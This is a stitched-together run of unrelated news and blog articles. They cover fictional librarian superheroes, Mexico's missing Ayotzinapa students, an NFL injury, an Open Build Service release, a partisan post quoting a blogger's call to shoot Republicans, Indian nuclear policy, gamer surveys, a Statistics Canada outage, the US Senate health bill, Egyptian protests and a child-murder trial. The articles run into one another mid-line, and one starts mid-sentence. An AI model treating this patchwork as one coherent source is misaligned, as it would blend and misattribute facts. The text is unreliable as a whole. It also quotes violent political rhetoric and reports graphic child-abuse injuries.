While working at the New York Public Library, Eli also becomes a member of the Young Avengers, following in the footsteps of his grandfather, Isaiah Bradley. He has all the powers of a super-soldier, like Captain America. Another superhero who's a librarian in his spare time is Captain Comet, who explores the stacks of his local library when he's not out exploring the universe and fighting ultimate evil.
Advertisement
Lucien in Neil Gaiman's Sandman
Lucien is the trusted librarian of the Library of Dreams, which contains all the books that have been written, as well as those that were only dreamt of. And he watches over Morpheus' crib while he's gone. Another librarian who watches over a library of all the books that were, and all the books that could have been is Henry Cecil, in David Henry Keller's 1949 novel The Eternal Conflict.
Advertisement
The Cheshire Cat in Jasper Fforde's Thursday Next series
Renamed "the Unitary Authority of Warrington Cat" due to changing boundaries, this cat is the overseer in the Great Library, a library within the book world, which contains every book ever written. The Unitary Authority cat turns out to be quite helpful to Thursday in her quest.
Advertisement
Giles in Buffy The Vampire Slayer
Rupert Giles is the school librarian at Sunnydale High, but he's also got a secret — he's a Watcher, who guides Buffy on her journey to become the savior of the world. And he sometimes rolls up his sleeves and goes out to save the world on his own. Not to mention, Giles has another secret on top of that one — he's also Ripper, a ruthless, maybe slightly psycho, former wizard who's not afraid to get his hands a bit dirty. When there are nasty things that need to be done to keep us all safe, you won't have to look further than the book stacks at the high school to find the man to do them. (Thanks to WitnessAria for reminding me of this one.)
Advertisement
Wraith (Jennifer Maloy) in the Wild Cards universe
Jennifer Maloy is a shy, introverted librarian — until she discovers she's an Ace, with the ability to become insubstantial. Unfortunately, she can only carry a small amount of matter through walls, so her uniform as Wraith consists of a mask and a bikini. She steals from the rich and gives to the poor, and winds up battling crime lords and helping to solve the murder of Chrysalis. Art by Adam deKraker.
Advertisement
Haly in Libyrinth by Pearl North
In the distant future, the Libyrinth is a library so massive, people get lost in it and never come out, because it contains all the precious human knowledge saved from Earth. Haly is a clerk to the Libyrarian Selene, but she alone hears the books talking to her. She learns of a plot by the book-hating Eradicants to destroy the Libyrinth, and journeys with her friends to the Queen of Ilysies for help. But they get attacked, and Haly is forced to save the Libyrinth on her own.
Advertisement
The Psykers in Warhammer 40,000
The Psykers have powerful psychic abilities, which make them valuable allies but also leave them open to demonic possession or insanity. The most powerful and physically able psykers are chosen to serve as Librarians in the Space Marines, where they keep the records of the Chapter they belong to. They also help out in battle using their formidable abilities, and help to divide dangerous mutants from ones which might be useful to the Imperium. (Thanks to NinjaCyborg for suggesting this one.)
Advertisement
Karma in The X-Men
And finally, one more superhero librarian! Karma, a member of the New Mutants, works as a librarian at the University of Chicago, where she helps Kitty Pryde battle the anti-mutant hate group, Purity. Later, she goes back to Charles Xavier's Xavier Institute and works as the librarian there, also helping to mentor the students who are under 15 years old. She eventually starts teaching French and also serving advisor to the Alpha Squadron and the Lower School.
Advertisement
Additional reporting by Katharine Trendacosta. Thanks also to everyone who commented on this post.After a student protest in Iguala, Mexico, last month, dozens of young men were seen being hauled off into police vans. Then, they vanished.
One month later, 43 students from the Ayotzinapa rural teachers college are still missing and presumed dead. Instead of finding the students, authorities investigating the events of Sept. 26 have instead found other horrors: a string of mass graves, police working for drug cartels and government officials at the helm of a dark underworld.
The hunt for the students has laid bare the brutality and lawlessness in parts of Mexico still under the grip of the cartels, despite years of Mexico’s war on drugs.
Chairs with portraits of missing students are seen during a march for the 43 missing students in Mexico City, Oct. 22, 2014. (RONALDO SCHEMIDT/AFP/Getty Images)
Here are some of the disturbing findings of the Mexican government's investigation:
Last Sighting Of The Students
The students -- men in their late teens and early 20s -- were studying to become teachers in rural Mexico at a college with a history of radical leftist activism, the BBC reported. That Friday, they went out to demonstrate against hiring discrimination and solicit funds for an upcoming protest march.
Witnesses have said that the students were in Iguala, a city in southern Mexico, when they came under fire from police.
By the end of the night, six people were left dead. The body of one student was later found with his face skinned and eyes gouged out, the New Yorker reported, "the signature of a Mexican organized-crime assassination."
Some of the students escaped Iguala, but 43 of them have not been seen since that night. Survivors described their classmates being taken away by police, but authorities denied they were in state custody.
When the students didn't return and relatives and sympathizers took to the streets in protest, Mexico's federal government launched an investigation.
The City's Former Mayor And His Wife Allegedly Control The Local Drug Cartel
According to the investigation, former Iguala Mayor José Luis Abarca Velázquez instructed municipal police to stop the student protests at all costs.
Abarca and his wife, María de los Ángeles Pineda Villa, are the “probable masterminds” behind the crime and are on the run from arrest, according to Mexico’s attorney general.
The investigation has led to allegations that Abarca and Pineda were the heads of a murderous personal fiefdom in collaboration with the local drug cartel -- the Guerreros Unidos.
Former Iguala Mayor Jose Luis Abarca and his wife, Maria de los Angeles Pineda Villa, at a meeting in Chilpancingo, Mexico, May 8, 2014. (AP Photo/Alejandrino Gonzalez, File)
After his arrest, the head of the cartel told investigators that Pineda -- the daughter and sister of cartel members -- is the “key operator” of the criminal network in Iguala. When the students' protest risked disrupting an event launching her own bid for the mayor’s office, Pineda gave the order to “teach them a lesson,” the cartel chief told authorities, according to the Daily Beast.
Despite expressions of shock by the Mexican government, local residents say officials turned a blind eye to the couple’s gang connections. "Everyone knew about their presumed connections to organized crime," Alejandro Encinas, a senator from the mayor's Democratic Revolution Party, told the Associated Press. "Nobody did anything, not the federal government, not the state government, not the party leadership."
Investigators Say Police Worked As The Cartel’s Hit Men
Investigators said that police delivered the 43 missing students to members of the Guerreros Unidos cartel, telling them that the students were members of a rival drug gang.
Guerreros Unidos hit men admitted to killing some of the students and dumping them in a pit -- although their bodies have not yet been identified.
In custody, Guerreros Unidos members named at least 30 local police officers they said were working directly for the cartel. “I wouldn't call these police, 'police.' I would call them hit men,” Mexican federal Attorney General Jesús Murillo Karam told reporters.
Dozens of police have since been arrested, and authorities said some have confessed to being involved. Iguala’s police chief is also on the run. Federal police officers have taken over law enforcement in Iguala, disarming the entire force.
Municipal police officers suspected of involvement in the students' disappearance are taken to waiting transport at the attorney general's organized crime unit in Mexico City, Oct. 17, 2014. (AP Photo/Rebecca Blackwell, File)
Meanwhile, a banner demanding the policemen’s release appeared in Iguala, signed by the Guerreros Unidos cartel. "Or else we will reveal the names of all the politicians who work for us. The war is just beginning," the sign threatened.
The Cartel’s Control Likely Goes Far Beyond One City
The Guerreros Unidos cartel is thought to control drug routes in Guerrero state -- where Iguala is located -- and neighboring Morelos. And the collusion of local authorities in their operation likely runs far wider than Iguala.
Federal police have taken control of more than 12 municipalities in southern Mexico after finding “presumed links to organized crime” in their police forces, Mexico National Security Commissioner Monte Alejandro Rubido said.
The cartel is one of several regional splinter groups from the notorious Sinaloa Cartel to emerge around 2011, according to investigative journalism group InSight Crime. Violence has exploded as the gangs battle for territory, and Guerrero had the highest murder rate in Mexico in 2013, the group said.
Many, Many More Are Missing And Dead
In their search for any trace of the students, investigators have found at least 12 mass graves with dozens of unidentified bodies near Iguala. So far, authorities say none of the remains match the missing students.
The gruesome discoveries confirmed some of the residents’ worst fears -- that the hills above the city were being used as a cemetery for the disappeared.
View of a grave discovered in Pueblo Viejo, in the outskirts of Iguala, Guerrero state, Mexico, on Oct. 6, 2014. (Pedro PARDO/AFP/Getty Images)
Already this year, 150 bodies have been found in secret graves throughout Guerrero state, InSight Crime reports, citing the state’s forensic office.
Across Mexico, more than 20,000 people have disappeared in the last eight years, according to government figures. Human Rights Watch’s Nik Steinberg, who has extensively investigated the disappearances, wrote in Foreign Policy earlier this year that if even half of the cases are verified, this represents “one of the worst waves of disappearances in the Americas in decades.”
“The evidence suggests not only that authorities have failed to investigate disappearances, but also, in many cases, that soldiers and police have helped to carry them out,” he wrote in a story published before the Iguala students vanished.
People protest the students' disappearance in Guadalajara, Mexico, on Oct. 8, 2014. (Servando Gomez Camarillo/LatinContent/Getty Images)
In the meantime, the students' families and supporters are holding out hope that they will be found.
“Today all Mexico resounds with the cry 'They took them alive, we want them back alive,'" Mexican poet and former diplomat Homero Aridjis wrote in a recent blog post for The WorldPost. “Mexicans are fed up with living in a pervasive state of corruption and impunity,” he said.
The students’ disappearance and the allegations of official complicity have brought thousands of outraged protesters onto the streets of Mexico to demand their return -- and justice.
Demonstrators protest the disappearance of the students on Oct. 17, 2014 in Acapulco, Mexico. (AP Photo/Eduardo Verdugo)
A student paints 'Repressive State' on the windows of the attorney general's office in Mexico City during a protest for the missing students, Oct. 15, 2014. (OMAR TORRES/AFP/Getty Images)
CLARIFICATION: This story has been updated to reflect that José Luis Abarca Velázquez is no longer Iguala's mayor. A temporary replacement mayor was installed on Oct. 29 but resigned hours later.Sio Moore's season is over because of a hip injury.
The Oakland Raiders put the outside linebacker on injured reserve Tuesday after he missed Sunday's loss at Kansas City. He had a hip issue come up during practice last week and was ruled out of the game Saturday.
Sio Moore is the fifth Oakland defensive starter to go on injured reserve this season. Kirby Lee/USA TODAY Sports
A third-round pick in 2013, Moore had played well this season. He finished with 90 tackles.
He is the fifth Oakland defensive starter to go on injured reserve this season. A sixth safety, Usama Young, who replaced Tyvon Branch when he was put on IR, also was put on injured reserve.
The Raiders have just four linebackers on the roster. Ray-Ray Armstrong made his starting debut at Kansas City, in place of Moore.
Oakland signed cornerback Chance Casey off San Francisco's practice squad to take Moore's place on the roster. Casey was on Oakland's practice squad last season.Open Build Service version 2.6 released
Another year, another release. It's time for the Open Build Service Version 2.6! This release very much focuses on bug fixing. Since OBS 2.5 there have been over 800 commits by 16 contributors, changing 565 files with 7.000 additions and 4,550 deletions. But don't despair we did not only fix bugs, two large features also made it into this release. We worked on the collaboration features of the OBS, requests now support priority and have a better history and we have added support for building Debian live images.
Read on for more, in depth, information about OBS version 2.6.
Lots of bugfixes to the OBS 2.6 codebase ×
A nice OBS 2.6 request history ×
Build Debian Live Images with OBS 2.6 ×
More Powerful Requests
Requests, which are the way people submit and evaluate changes to each others projects in OBS, now have a priority so all parties involved can signal the weight and urgency they give their changes. This is especially useful for larger projects that handle hundreds of requests or projects that sometimes have very urgent changes, like security updates for distribution maintenance channels. Another feature we have added to requests is a history of it's reviews. It's perfectly understandable now how a request got into the state (accepted, declined, under review) it is in. Additionally the requests history elements now have a finer granularity, which enables us to display them more flexible.
Debian Live Images
Additionally to all the imaging capabilities of KIWI which the OBS supports we now can also build images with Debians live-build. These images contains a Debian system that can boot without modifying any files on the hard drive and also allow installation of Debian from the contents of the image. Special thanks for adding this feature go to Jan Blunck of Brocade.
Smaller features...“SHOOT REPUBLICANS” Says Former Carter Staffer
“Republicans and conservatives are the enemy. They are expendable. They will be targets in the Revolution when it comes” writes Roland Windsor Vincent, in a recent post on his blog, Army Of The Revolution.
The entry, entitled “Protect Animals And The Environment. Shoot Republicans“, centers around animal rights and how “active Republican and conservatives voters are enabling the Animal Holocaust” and “If we were to start shooting Republicans, we would likely not harm a single friend of animals or the environment.“
His article ends with:
I mention Republicans and conservatives, but the enemy is all in the human race who do not care. In my view, the animals need a massive depopulation of the human race. It may come in revolution, in climate disasters, in pandemics. But it must come. The Earth cannot survive the human race, which for all practical purposes is a parasitic life form which annihilates other species, pollutes the air and oceans, and is responsible for climate change and the next mass extinction of hundreds of thousands of species. If it were up to me, we’d start by eliminating Republicans.
Mr. Roland Vincent is also a contributor to the Greanville Post. In a recent article he wrote on that site, he calls for repealing the 2nd Amendment, while also claiming that he enjoys skeet shooting. Excerpts include:
The Founding Fathers inserted the Second Amendment into the Bill of Rights to assure the ability of the people to resist government tyranny. They were all too familiar with the British monarchy’s oppression of the colonies, and wanted to guard against any future oppression. At the time, muskets were all the governments had to use against the people, and the people having muskets also seemed like a good idea at the time. To apply that Eighteenth Century standard today, the people would have to have access to nuclear weapons, bombers, and missiles. Clearly, no one advocates for such weapons in the hands of private citizens. Well, maybe a few lunatic Republicans might, but no one seriously entertains the idea. So the Second Amendment has outlived its purpose. The Second Amendment is nothing more than a myth.
A fund-raising tool for the Right.
An excuse for gun manufacturers to profit from the killing of people and animals.
A talking point for Conservatives.
And a safe harbor for criminals, psychopaths, and the delusional rednecks who pretend they are soldiers on the weekends. It’s time to repeal the Second Amendment.
How he plans on “shooting Republicans” without guns is beyond me, or maybe he just wants the law-abiding disarmed, so the marxist revolutionaries can take them out with illegally acquired firearms.
Ordinarily, such writings would be disregarded as crazed rantings from a fringe kook. But Mr. Roland Vincent has a credible past. In an autobiography that he wrote for the Greanville Post, he touts himself as political strategist, served as a staffer under President Jimmy Carter, was staff for George Wallace, and was a Los Angeles city commissioner alongside then-Mayor Tom Bradley.
In fact, his laments over his political efforts in California, taking blame for the election of Reagan.
In a post he made on Michael Moore’s facebook page, Vincent recalls the days before he was Carter’s deputy campaign manager in California, when he worked on a ballot initiative campaign to limit property taxes. He supported the measure at the time because he felt that tying property taxes to a fluctuating real estate rates unfairly targeted the poor, who often had to sell their homes because they couldn’t pay property tax. But he laments that this set the table for limiting property tax rates nationwide, and somehow is responsible for Reagan winning the 1980 election.
In 1977, Howard Jarvis, the now well known author of California’s Proposition 13 (an initiative constitutional amendment limiting property taxes) had twice failed to get his measure on the ballot and approved by voters. Property taxes in California were tied to assessed value of real estate, and because of a booming real estate market were soaring. They were becoming so burdensome that many fixed income homeowners were actually losing their homes. Local governments were using property tax revenues as huge slush funds for pet projects. The most troublesome aspect of the entire property tax scheme, as far as I was concerned, was that property taxes were the primary method of funding schools. The result of which were wretched schools in poor neighborhoods and well-funded schools wealthy communities. At the time I was a Commissioner in Mayor Tom Bradley’s administration. I was also the only Democrat holding any kind of office in the entire state who supported Jarvis’ tax limitation proposal. Jarvis was widely considered a political gadfly. He had very little support among Republican Party officials. He had been marginalized by elected Republicans, and his two prior failures weighed heavily on his being taken seriously in the press. Howard asked me to run the campaign once the initiative qualified for the ballot. I went on to direct the campaign for Prop 13, which narrowly passed in 1978. Proposition 13 ignited tax reform and tax limitation campaigns across the country, and ushered in the anti-tax climate which propelled Reagan into the presidency in 1980, and continued with the right-wing take-over of Congress in 1982.
In fact, Vincent is so credible, his posts even get picked up by the anarcho-primitivism offshoot of the International Workers of the World site, a well known radical communist union.
All in all, it sounds like the California democrats, along with Jimmy Carter and George Wallace, sure picked a winner.DIGG THIS
Why did We The People form a Federal Government — or any government?
"… to secure these rights, Governments are instituted among Men, deriving their just powers from |
argued that Kudankulam deal violated non-proliferation guidelines, but suddenly dropped all these charges when American companies decided to enter Indian nuclear energy market.
For more than a decade, the United States insisted that the Russian-Indian nuclear partnership violates Nuclear Suppliers Group (NSG) guidelines, which were revised in 1992 to demand that India, as “an (official) non-nuclear weapons state (NNWS) must accept full scope International Atomic Energy Agency (IAEA) safeguards on its nuclear facilities and fissionable material” in order to receive nuclear technology. Moreover, Washington noted, the “Principles and Objectives” of the Nuclear Nonproliferation Treaty’s (NPTs) 1995 Extension Conference says that new supply agreements to NNWS must require full-scope safeguards.
However, following a number of high-profile US-India talks (2005-2008), these demands disappeared. It should be noted, that the whole story behind the US-India nuclear deal is deeply connected with corporate lobbyism. Testifying before the Senate Foreign Relations Committee on April 5, 2006, the US Secretary of State made it clear it was all about opening a new market for American technology: “At its core, our initiative with India is not simply a government-to-government effort. It was crafted with the private sector firmly in mind.”
But the problem is also within. A hot topic in India’s nuclear policy is the implementation of the so-called “Nuclear Liability Act” to the KKNPP project on the national level. Expansive interpretation of this law provides Delhi with legal pretext for unprecedented regulatory pressure. The government decided that the 3rd and 4threactors will be subject to the new civil nuclear liability law.In fact, it’s an attempt to burden the contractor with extended indemnity insurance (in form of shared financial liability). Clause 7 of the act establishes a dangerous precedent that may affect not only Russian projects but also the willingness of other foreign companies to take part in Indian tenders. Who would like the rules of the game changed after the game has already started?
Casting doubts on bilateral nuclear cooperation between India and Russia may have a negative impact on their strategic partnership. Such initiatives are unheard of in good industry practice. It is still questionable whether this provision could be applicable in this particular case. Bargaining over details should not create long-term regulatory risks, because Kudankulam has finally become the vital part of India’s emerging clean energy portfolio.
Now India and Russia have to find some way to overcome this point of significant contention in negotiations, becausethere is a huge energy deficit in the Tamil Nadu province – energy shortages are not uncommon in the region.It is in the interest of Delhi to maintainthe spirit of mutual trust in Russian-Indian economic relations and reaffirm its commitment to the project.Population’s environmental concerns could be met with the help ofcommunity awareness and emergency response programs.Gamers rejoice: female online gamers are more social, happy, sexually and physically active than their non-gaming counterparts, according to a Harris Interactive survey of 2,000 U.S. adults. Gaming is a stress reliever for most of these women (61%), while 16% game online to connect with others.
This GameHouse infographic, first published in VentureBeat, compares the characteristics of women who game online and those who don't. The study found that 55% of online gamers are women and 45% are men, although the infographic only details findings about women.
Female online gamers are more social than their non-gaming counterparts. Forty-one percent socialize at least once each day in person compared to 31% of non-gamers. They're also more active on social networks, with 88% of gamers socializing online at least once each day compared to 71% of non-gamers.
More than half of all gaming women (64%) are either married or live with a partner. Fifty-seven percent have sex and 38% have sex at least once a week. Non-gaming women are less sexually active, as 52% have sex and 34% have sex at least once a week.
Thirty-eight percent of female gamers, compared to 28% of non-gamers, have children under the age of 18. The most popular time of day for gaming is between 8 p.m. and 11:59 p.m., possibly after many moms have put their children to sleep.
Are you surprised by the positive behaviors, such as being more social and happy, associated with online gaming?An incident involving a leaky air conditioner at Statistics Canada's Ottawa data centre in June mushroomed into a major outage that, among other problems, left some exporters' trucks stuck at the American border.
The rapid escalation of a minor spill into a 30-hour crisis was no accidental series of escalating events, says the former head of the agency. Instead, it was the result of obsolete equipment that's the responsibility of Shared Services Canada (SSC) — the government's troubled IT department.
"The kind of careless error that brought down the data centre on June 9 is hard to excuse," said Wayne Smith, former chief statistician.
"The repeated outages of Statistics Canada's internet site, now its primary method of dissemination, are becoming a national embarrassment."
Former Chief Statistician Wayne Smith calls the June 9-10, 2017, outage a continuing national embarrassment. (CBC)
Through the Access to Information Act, CBC News obtained internal emails and other documents detailing the scramble to get key systems back online over two days in June, Statistics Canada's second major outage this year.
The latest chain of events began Thursday, June 8, when a contractor did routine maintenance on an air conditioner inside the data centre at the agency's Tunney's Pasture complex, about four kilometres west of Parliament Hill.
Faulty work left the unit leaking overnight, and by Friday morning the water caused a small short-circuit that triggered a smoke alarm shortly before 9 a.m. ET. (The monthly Labour Force Survey, a jobs report, had been successfully posted at 8:30 a.m. ET.)
The smoke alarm, in turn, activated a power shutdown to protect the roomful of servers and other IT equipment used to run Statistics Canada's major systems, including its web services and main email.
The contractor was called back to fix the leak, and at 10:15 a.m. ET technicians restored power to the data centre.
Susceptible to damage
Aging IT equipment, however, is susceptible to damage from sudden power fluctuations and abrupt loss of cooling. Flipping the "on" switch blew out several memory units, leaving the data centre completely non-functional again.
There wasn't enough replacement memory on hand for repairs, so new memory units had to be ordered from a supplier in Pennsylvania and trucked into Canada — a 24-hour process.
The units arrived Saturday, and the data centre was finally declared functional again at 4:15 p.m. that day, or more than 30 hours after the minor leak.
During the outage, the agency's heavily used web services were dark, some of its data collection was shut down, and among other services, the main email system was not available.
Even a year on from my resignation, the problems that concerned me then continue to plague Statistics Canada's operations, - Wayne Smith, former chief statistician
Altogether, six key systems were out of commission, including the Canadian Automated Export Declaration (CAED) system, which Canada's exporters use to file key export documents electronically.
The Canada Border Services Agency (CBSA) reported: "Some trucks can't cross the border."
"When the data centre went down this system would have gone down as well, causing problems for exporters using the system and shipping to the U.S., since the export documents filed would not be accessible to CBSA border officers," said Smith, the former chief statistician.
Officials at Statistics Canada and CBSA did not respond when asked to elaborate on the border troubles.
Problems continue
Smith resigned as head of Statistics Canada last September, citing the agency's eroding independence — partly the result of Shared Services Canada's takeover of its IT infrastructure and failure to upgrade equipment.
"SSC has not been properly maintaining and replacing the infrastructure in the Tunney's Pasture data centre," Smith said this week.
"So even a year on from my resignation, the problems that concerned me then continue to plague Statistics Canada's operations. This despite transfers of millions of additional dollars from Statistics Canada to Shared Services Canada."
Earlier this summer, CBC News reported another major disabling of the Statistics Canada website, this one for 26 days, beginning on March 9 — the longest in the agency's history.
A spokeswoman for Shared Services Canada said there have been no outages at StatsCan since the paralyzing air-conditioning incident.
"Shared Services Canada worked closely to ensure business continuity following the emergency data centre shutdown in June 2017," said Monika Mazur.
"Shared Services Canada responded promptly, deploying a team to assess and mitigate the interruption and restore services."
The new chief statistician of Statistics Canada, Anil Arora, has overseen two major web outages this year, the first lasting 26 days.
Statistics Canada spokesman Peter Frayne said Canadians needing statistical information during the outage were helped by telephone and another email system that was still operating.
In another blow to its reputation, the statistics agency acknowledged last week that a computer error for the 2016 census had erroneously counted about 61,000 English speakers in Quebec who were actually French speakers.
A $1.35-million report by consultants Gartner Inc., commissioned by the Liberal government to explain the troubles of Shared Services Canada, said earlier this year that the IT agency has been hobbled by lack of money and too much red tape.
Follow @DeanBeeby on TwitterMatt Olsen, a former Obama administration intelligence official, says the United States will likely see a homegrown terrorist attack in the next year or two.
ADVERTISEMENT
"If you look out in a 12- to 24-month time frame, I think it’s safe to say that there is a very significant chance that we’ll see at least one or more small scale terrorism attacks in the United States like we’ve seen in Europe."
Olsen, who served as Director of the National Counterterrorism Center during the Obama administration, attributed the limited number of attacks on U.S. soil to sophisticated intelligence gathering efforts and geographical location. But, he says it will be hard to stop an attack inspired by the Islamic State in Iraq and Syria's aggressive methods in recruiting foreign fighters online.Senate Health Care Bill Revisions Released In Attempt To Appease GOP Critics
Enlarge this image toggle caption Alex Wong/Getty Images Alex Wong/Getty Images
Updated 6:56 p.m. ET
Senate Republicans on Thursday released a revised version of the Better Care Reconciliation Act, their plan to replace the Affordable Care Act.
The new version comes after the Congressional Budget Office found that the original BCRA would in the next decade increase the uninsured population by 22 million over what it would otherwise be. Senate Majority Leader Mitch McConnell had hoped for a vote before July 4, but was forced to delay that because he couldn't garner the 50 votes he needed among the 52 GOP senators.
The question now is whether this version of the bill could pass the Senate. Shortly after its release, Maine Sen. Susan Collins and Kentucky Sen. Rand Paul both said they intend to vote against letting the bill go forward. With two no votes, Vice President Pence could provide the 51st vote needed for passage. But if three Republican senators defect, the bill cannot pass.
The new bill makes some big changes from the last BCRA draft, but it also leaves some major parts of the original Senate proposal intact — it would still repeal the individual and employer mandates, it would still mean cuts to Medicaid spending, and it would still allow states to opt out of key parts of Obamacare.
In their summary of the bill, Senate Republicans laid out the major provisions. Here are some of those big changes that this new version of the bill would make to the original BCRA, and what they would mean:
Health savings accounts will be able to pay for premiums. Under IRS rules, people with high-deductible plans are eligible for health savings accounts (HSAs), accounts into which people can put money for health care expenses tax-free. Under this bill, people would for the first time be able to use that money for premiums. Americans' deposits in HSAs have ballooned over the last decade, according to HSA consulting firm Devenir. However, those accounts also tend to benefit higher-income people more than others, as Kaiser Health News' Michelle Andrews wrote in December — for example, richer people are more likely to have the extra money to sock away for health expenses.
More money for the opioid epidemic. The Senate's initial bill offered $2 billion to address the opioid crisis for 2018. This version would offer about $45 billion over 10 years, which is what Republicans Ohio GOP Sen. Rob Portman and West Virginia Sen. Shelley Moore Capito had requested at one point. However, some experts say that around $4.5 billion a year is nowhere near enough for combating America's massive opioid epidemic, as the New York Times reported in June.
Keeping some Obamacare taxes. The first BCRA version would have repealed an array of Affordable Care Act taxes, which would have overwhelmingly benefited higher-income Americans. This newer version of the bill keeps some in place, including the net investment income tax and a payroll tax that hit higher-income Americans.
Allowing insurers to offer non-Obamacare-qualified plans. This mirrors an idea that Texas Sen. Ted Cruz and Utah Sen. Mike Lee had proposed in recent weeks: The Senate's bill would allow an insurer to offer skimpier plans. As long as an insurer does offer a plan on the individual insurance exchanges that meets the demands of Obamacare's Title I (for example, covering certain areas like preventive care and protecting people with pre-existing conditions), that insurer will be allowed to offer additional plans off of the individual insurance exchanges that don't meet those criteria.
That idea had created worries of a two-tiered insurance system — one in which older and sicker people would opt into the more comprehensive plans, while younger and healthier people would choose the cheaper plans that covered less, potentially causing a "death spiral" on the exchanges for those older and sicker people.
Extra stabilization money, in part for high-risk customers. The original version of the BCRA provided $112 billion that would have allowed states to stabilize their markets or help high-risk customers in a wide variety of ways. In this version, that is bumped up to $182 billion. One function of this money is to mitigate some of the two-tier issues created by new, nonqualified plans. If an insurer offers a plan that meets the Obamacare criteria, that insurer would be eligible for money to help high-risk customers.
This all means that the new version doesn't make major changes to one big part of the BCRA: Medicaid. Under the original Senate bill, the Obamacare Medicaid expansion would be rolled back, and Medicaid spending would be capped — states would either be allotted a certain amount per capita, or they could get a block grant instead. It also caps Medicaid spending growth in the medium-to-long-term. This bill doesn't change any of that.
According to the CBO, the original BCRA would have cut Medicaid spending by $772 billion over 10 years, and would have resulted in 15 million fewer Medicaid enrollees by 2026 than under current law.
A new CBO score on the bill is expected Monday or Tuesday. By the end of next week, there is likely to be a key procedural vote. That would put things on track for a final vote the following week.
Were this bill to pass the Senate, it would then have to be reconciled with the House's attempt to repeal and replace Obamacare, known as the American Health Care Act.
Meanwhile, Republicans Bill Cassidy of Louisiana and Lindsey Graham of South Carolina released an alternative plan Thursday morning.
A summary of the bill is embedded below. You can read the full draft here, and see the previous Senate version here.
Washington Desk editor Arnie Seipel contributed to this report.
This report has been updated to reflect that the extra $70 billion for stabilization funding will be in part used for helping insurers defray the costs of high-risk individuals.Egyptian opposition groups has called for a million-man march on Friday as they fear the increasingly strong control of the Muslim Brotherhood over the country's politics.
The call for protests on Friday has spurred public debate especially after a Brotherhood cleric issued a religious edict, known as a fatwa, saying that killing anti-Islamist protesters was permissible.
Activists have demanded that President Mohammed Morsi take a strong stance against such statements.
Meanwhile, the Muslim Brotherhood has asked its young followers to come out on Friday to "protect" its offices from opposition protesters, escalating concerns of a possible showdown in Cairo.
Fathi El Sisy, head of the 24 August Union of the National Powers, one of the opposition groups calling for the march, refutes the claim that the protesters plan to attack the Brotherhood's headquarters.
"I do not know who is claiming that," he said. "If the Brotherhood's media organisation is the one doing that to put us in the hot seat, that's their problem."
Wafaa Saad, the general co-ordinator of the I am Egypt Campaign, said her group demanded that "the authorities protect the protesters, especially after some extremist clerics said these protesters [were] non-believers and that it [was] all right to kill them just because we [opposed] their opinion".
Bashir Abdel Fattah, a political analyst and editor-in-chief of Democracy magazine, said "those demanding to burn the headquarters of the Muslim Brotherhood are extremists and that could lead to a wave of violence".
A spokesman for Morsi said that the president supported the right to stage protests and that "it is unhealthy" to spread fears about protesters' safety.
Security authorities said in a statement that they would "confront with all firmness... riots or chaos that harms citizens' interests".Published: 16:17, 3 May 2016 | Updated: 23:55, 3 May 2016
A 'barbaric' mother-of-four who tried to blame her teenage son for the death of a toddler she was fostering was today found guilty of murdering the little girl.
Kandyce Downer, 35, from Weoley Castle, Birmingham, killed 18-month-old Keegan Downer just months after she was made the little girl's legal guardian.
She had beaten the toddler, also known as Shi-Anne, with such force over a number of weeks that the youngster had suffered broken legs and ribs as well as severe head and spine injuries.
Tragic Keegan had collapsed at the family home on September 5 last year and after her death was found to have suffered more than 200 separate injuries - including seven broken ribs. She also had 153 scars on her body, including her face and neck.
SHARE PICTURE
Copy link to paste in your message +10 Mother-of-four Kandyce Downer,who tried to blame her teenage son for the death 18-month-old Keegan Downer, the toddler she was fostering, was today found guilty of murdering the little girl
SHARE PICTURE
Copy link to paste in your message +10 ‘Barbaric’: Downer with baby Keegan. The infant had more than 200 separate injuries - including seven broken ribs and broken legs. She also had 153 scars on her body, including her face and neck.
Downer had been appointed Keegan's guardian in January 2015 with the blessing of social services, following a formal court hearing.
The little girl's birth mother had been a drug addict, and she was put into foster care shortly after her birth on March 9, 2014. Downer, the ex-wife of a cousin of Keegan's biological father, was paid a weekly fee by the local authority to care for the girl.
But in June 2015, six months after Keegan was put in Downer's care the systematic abuse began.
SHARE PICTURE
Copy link to paste in your message +10 The abuse of Keegan began six months after she was put in Downer's care
During the trial the jury at Birmingham Crown Court was told that after finding the little girl 'unwell' in her cot, Downer delayed calling 999 and instead got in her car to dump the child's old blood-spotted mattress near a skip.
She even told the murder jury that her eldest son, then aged 17, may have been the culprit because he was responsible, along with her three other children, for much of the 'day-to-day care' of little Keegan because she was tired with a pregnancy and medication for high blood pressure.
Taking to the stand in the trial, which began in April, she was asked by prosecutor Nigel Power QC: 'Who's the prime candidate amongst them?'
A tearful Downer replied: 'My eldest.'
Downer, who was a full-time business student with four other children of her own, had denied murdering the toddler, but had admitted leaving Keegan alone in the youngster's bedroom to take her natural daughter out on the day of the toddler's death.
Keegan was found unconscious after suffering a cardiac arrest. She was rushed to Birmingham Children's Hospital but was pronounced dead on her arrival.
Keegan died from septicaemia, blunt chest trauma, an old head injury and a bacterial infection.
The court heard Downer never sought medical help for Keegan, who weighed 17.7lbs, little more than one stone, at the time of her death and a post-mortem showed signs of 'developmental regression', the court was told.
SHARE PICTURE
Copy link to paste in your message +10 SHARE PICTURE
Copy link to paste in your message +10 Downer had been appointed Keegan's guardian in January 2015 with the blessing of social services, following a formal court hearing
SHARE PICTURE
Copy link to paste in your message +10 SHARE PICTURE
Copy link to paste in your message +10 During the trial the jury at Birmingham Crown Court was told that after finding the little girl 'unwell' in her cot, Downer delayed calling 999 and instead got in her car to dump the child's old blood-spotted mattress near a skip
